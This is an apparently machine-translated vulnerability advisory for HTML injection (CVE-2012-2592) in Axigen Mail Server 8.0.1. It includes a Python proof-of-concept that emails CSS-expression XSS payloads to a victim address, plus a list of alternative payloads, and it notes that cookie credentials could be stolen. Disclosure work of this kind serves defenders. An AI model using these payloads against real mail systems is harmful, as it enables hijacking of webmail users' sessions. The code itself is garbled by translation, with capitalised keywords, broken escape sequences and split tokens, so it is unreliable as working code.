Axigen Mail Server 'body' field HTML Injection Vulnerability

Release date:
Updated on:

Affected Systems:
Axigen Mail Server 8.0.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54899
Cve id: CVE-2012-2592

Axigen Mail Server is a small Mail Server.

Axigen Mail Server 8.0.1 and other versions have the HTML injection vulnerability. Attackers can provide HTML or JS Code to run on affected sites, steal Cookie authentication creden。, or control the site appearance.

<* Source: loneferret
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/python

'''
Author: loneferret of Offensive Security
Product: Axigen Mail Server
Version: 8.0.1 (Windows/x86)
Vendor Site: http://www.axigen.com
Software Download Link: http://www.axigen.com/mail-server/download-axigen-mail-server-801-for-windows.html

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received ed from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload (s ):

1: <div style = "width: expression (alert ('xsss');">
2:
3: <xss style = "xss: expression (alert ('xsss')">
4: <! -- [If gte IE 4]>
<SCRIPT> alert ('xss'); </SCRIPT>
<! [Endif] --

'''

Import smtplib, urllib2

Payload = "<div style =" width: expression (alert ('xsss'); "> """

Def sendMail (dstemail, frmemail, smtpsrv, username, password ):
Msg = "From: hacker@offsec.local \ n"
Msg + = "To: victim@victim.local \ n"
Msg + = 'date: Today \ r \ N'
Msg + = "Subject: Offensive Security \ n"
Msg + = "Content-type: text/html \ n"
Msg + = "XSS" + payload + "\ r \ n"
Server = smtplib. SMTP (smtpsrv)
Server. login (username, password)
Try:
Server. sendmail (frmemail, dstemail, msg)
Except t Exception, e:
Print "[-] Failed to send email :"
Print "[*]" + str (e)
Server. quit ()

Username = "hacker@offsec.local"
Password = "123456"
Dstemail = "victim@victim.local"
Frmemail = "hacker@offsec.local"
Smtpsrv = "172.16.84.171"

Print "[*] Sending Email"
SendMail (dstemail, frmemail, smtpsrv, username, password)

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Axigen
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.axigen.com/